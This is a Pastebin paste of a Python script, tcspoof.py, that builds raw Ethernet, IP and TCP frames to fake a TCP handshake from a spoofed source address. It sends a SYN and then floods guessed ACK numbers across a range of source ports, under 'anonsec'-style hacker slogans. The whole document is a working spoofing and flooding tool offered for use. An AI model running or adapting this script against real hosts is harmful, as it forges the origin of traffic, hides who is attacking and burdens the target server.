Advertisement
_d3f4ult

[+] tcspoof.py - Faking the TCP Handshake [+]

Dec 6th, 2015
1,898
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.44 KB | None | 0 0
  1. # Faking the TCP Handshake
  2. # - Luc Gommans
  3. # http://lgms.nl/blog-2
  4. # Mirrors:
  5. # https://ghostbin.com/paste/rxg3o
  6. # https://cryptobin.org/s0i4y6v3
  7. # passwd: anonsec
  8. #
  9. #                                 \!/ EVERYTHING IS VULNERABLE, SECURITY IS AN ILLUSION \!/
  10. #
  11.  
  12. import sys, time, struct, socket, array
  13.  
  14. if len(sys.argv) != 6:
  15.     print("Usage: ./tcspoof.py iface srcMAC gatewayMAC srcIP:sport-range dstIP:dport")
  16.     print("E.g. ./tcspoof.py eth0 aa:bb:dd:99:88:77 aa:bb:cc:00:11:22 1.2.3.4:1024-65535 80.100.131.150:80") # 'DELETE / HTTP/1.0\\n\\n'")
  17.     print("The source port range is inclusive.")
  18.     print("NOTE: appending payload currently not supported for a couple reasons.")
  19.     sys.exit(1)
  20.  
  21.  
  22. ### Parse parameters
  23.  
  24. dev = sys.argv[1]
  25.  
  26. ourMAC = sys.argv[2]
  27.  
  28. dstMAC = sys.argv[3]
  29.  
  30. srcIP, srcPort = sys.argv[4].split(':')
  31. srcPort = srcPort.split('-')
  32. srcPort[0] = int(srcPort[0])
  33. srcPort[1] = int(srcPort[1])
  34.  
  35. dstIP, dstPort = sys.argv[5].split(':')
  36. dstPort = int(dstPort)
  37.  
  38. # Convert hexadecimal (aa:bb:cc) to binary (\xaa\xbb\xcc)
  39. mac = ''
  40. for macpart in dstMAC.split(":"):
  41.     mac += chr(int(macpart, 16))
  42. dstMAC = mac
  43.  
  44. mac = ''
  45. for macpart in ourMAC.split(":"):
  46.     mac += chr(int(macpart, 16))
  47. ourMAC = mac
  48.  
  49. ### End of parameter parsing
  50.  
  51. # Precompute some fields that we are going to use a lot
  52. srcIP2 = socket.inet_aton(srcIP) # 32 bits
  53. dstIP2 = socket.inet_aton(dstIP) # 32 bits
  54. struc20 = struct.pack("!H", 20)
  55. winsize = struct.pack("!H", 0xeffe)
  56.  
  57. # Checksumming is taken from Scapy.
  58. if struct.pack("H",1) == "\x00\x01": # big endian
  59.     def checksum(pkt):
  60.         if len(pkt) % 2 == 1:
  61.             pkt += "\0"
  62.         s = sum(array.array("H", pkt))
  63.         s = (s >> 16) + (s & 0xffff)
  64.         s += s >> 16
  65.         s = ~s
  66.         return s & 0xffff
  67. else:
  68.     def checksum(pkt):
  69.         if len(pkt) % 2 == 1:
  70.             pkt += "\0"
  71.         s = sum(array.array("H", pkt))
  72.         s = (s >> 16) + (s & 0xffff)
  73.         s += s >> 16
  74.         s = ~s
  75.         return (((s>>8)&0xff)|s<<8) & 0xffff
  76.  
  77. def build_ip_header(datalength, srcIP, dstIP):
  78.     version = 4 # 4 bits
  79.     headerlen = 5 # 5*32bits = 20 bytes # 4 bits
  80.     dscp = 0 # 6 bits
  81.     ecn = 0 # disable capability # 2 bits
  82.     totalLength = datalength + 20 # 16 bits
  83.     identification = 22641 # random # 16 bits
  84.     flags = 0 # 3 bits
  85.     fragmentOffset = 0 # 13 bits
  86.     ttl = 64 # 8 bits
  87.     proto = 6 # 8 bits
  88.     chksum = 0 # initial value # 16 bits
  89.     srcIP = socket.inet_aton(srcIP) # 32 bits
  90.     dstIP = socket.inet_aton(dstIP) # 32 bits
  91.  
  92.     # Convert fields to binary
  93.     version_headerlen = chr(((version & 0xf) << 4) | headerlen & 0x0f)
  94.     dscp_ecn = "\0"
  95.     totalLen = struct.pack("!H", totalLength)
  96.     ident = "xD"
  97.     flags_fragmentOffset = "\0\0"
  98.     ttl = chr(64)
  99.     proto = chr(6)
  100.     chksum = "\0\0"
  101.  
  102.     without_checksum = version_headerlen + dscp_ecn + totalLen + ident + flags_fragmentOffset + ttl + proto + chksum + srcIP + dstIP
  103.     chksum = checksum(without_checksum)
  104.     if chksum == 0:
  105.         chksum = 0xffff
  106.     return without_checksum[:10] + chr(chksum >> 8) + chr(chksum & 0xff) + without_checksum[12:]
  107.  
  108. # Create a static IP header, 60% performance increase over computing it every time
  109. ip_header = build_ip_header(20, srcIP, dstIP)
  110.  
  111. def build_tcp_header(sport, seqno, ackno, syn):
  112.     dataOffset = chr(0b01010000) # header length (5) + 3 bits waste (000) + NS flag (0)
  113.     if syn == True:
  114.         flags = chr(0b00000010) # syn flag set, all other flags NOT set
  115.     else:
  116.         flags = chr(0b00010000) # ack flag set, all other flags NOT set
  117.  
  118.     without_checksum = struct.pack("!HHLL", sport, dstPort, seqno, ackno) + dataOffset + flags + winsize + "\0\0\0\0"
  119.     # This pseudo-header has to be used in checksum computation (see TCP RFC)
  120.     pseudoHeader = srcIP2 + dstIP2 + '\0' + chr(6) + struc20
  121.     chksum = checksum(pseudoHeader + without_checksum)
  122.     if chksum == 0:
  123.         chksum = 0xffff
  124.     return without_checksum[:16] + struct.pack("!H", chksum) + without_checksum[18:]
  125.  
  126. def build_syn(ourMAC, dstMAC, srcIP, srcPort, dstIP, dstPort):
  127.     eth_header = dstMAC + ourMAC + "\x08\x00" # type=IP
  128.     tcp_header = build_tcp_header(srcPort, 42, 0, True)
  129.     ip_header = build_ip_header(len(tcp_header), srcIP, dstIP)
  130.     return eth_header + ip_header + tcp_header
  131.  
  132. def build_ack(srcPort, ackno):
  133.     eth_header = dstMAC + ourMAC + "\x08\x00" # type=IP
  134.     tcp_header = build_tcp_header(srcPort, 43, ackno, False)
  135.     return eth_header + ip_header + tcp_header
  136.  
  137. # Create a socket to send raw ethernet frames over
  138. sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
  139.  
  140. bind = (dev, 0)
  141. starttime = 0
  142. sport = srcPort[0] - 1
  143. try:
  144.     while True:
  145.         # Every 18 seconds (to compensate for latency), send a new SYN packet and start over
  146.         if time.time() - starttime > 18:
  147.             sys.stdout.write('.')
  148.             # Since we write to stdout/stderr manually, we also need to flush manually...
  149.             sys.stdout.flush()
  150.             sys.stderr.flush()
  151.             sport += 1
  152.             if sport > srcPort[1]:
  153.                 sport = srcPort[0]
  154.             try:
  155.                 sock.sendto(build_syn(ourMAC, dstMAC, srcIP, sport, dstIP, dstPort), bind)
  156.             except socket.error:
  157.                 sys.stderr.write('!')
  158.             ackno = 1
  159.             starttime = time.time()
  160.             # Wait 100ms to make sure our ACK doesn't arrive before the server sent the SYN+ACK
  161.             time.sleep(0.1)
  162.         try:
  163.             sock.sendto(build_ack(sport, ackno), bind)
  164.         except socket.error: # This happened a lot when sending on 8 cores when the transmit buffer was full (virtual NICs are slow...)
  165.             sys.stderr.write('!')
  166.         ackno += 1
  167. except KeyboardInterrupt:
  168.     print("Caught keyboard interrupt.")
  169.  
  170. '''
  171. Old code from Scapy, but scapy is way too slow to use here (hence the above own implementation...)
  172.  
  173. syn = ip / TCP(sport = port, dport = 80, flags = 'S', seq = 42)
  174. synack = sr1(syn)
  175. starttime = time.time()
  176. while True:
  177.     sendp(eth / ip / TCP(sport = synack.dport, dport = 80, flags = "A", seq = synack.ack, ack = RandNum(1, 65535)), iface = 'eth0')
  178.     if time.time() - starttime > 22:
  179.         break
  180.  
  181. send(ip / TCP(sport = synack.dport, dport = 80, flags = "A", seq = synack.ack, ack = synack.seq + 1))
  182. data = ip / TCP(sport = synack.dport, dport = 80, flags = "A", seq = synack.ack, ack = synack.seq + 1) / 'GET / HTTP/1.0\r\nHost: lgms.nl\r\n\r\n'
  183. print(sr1(data))
  184. '''
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement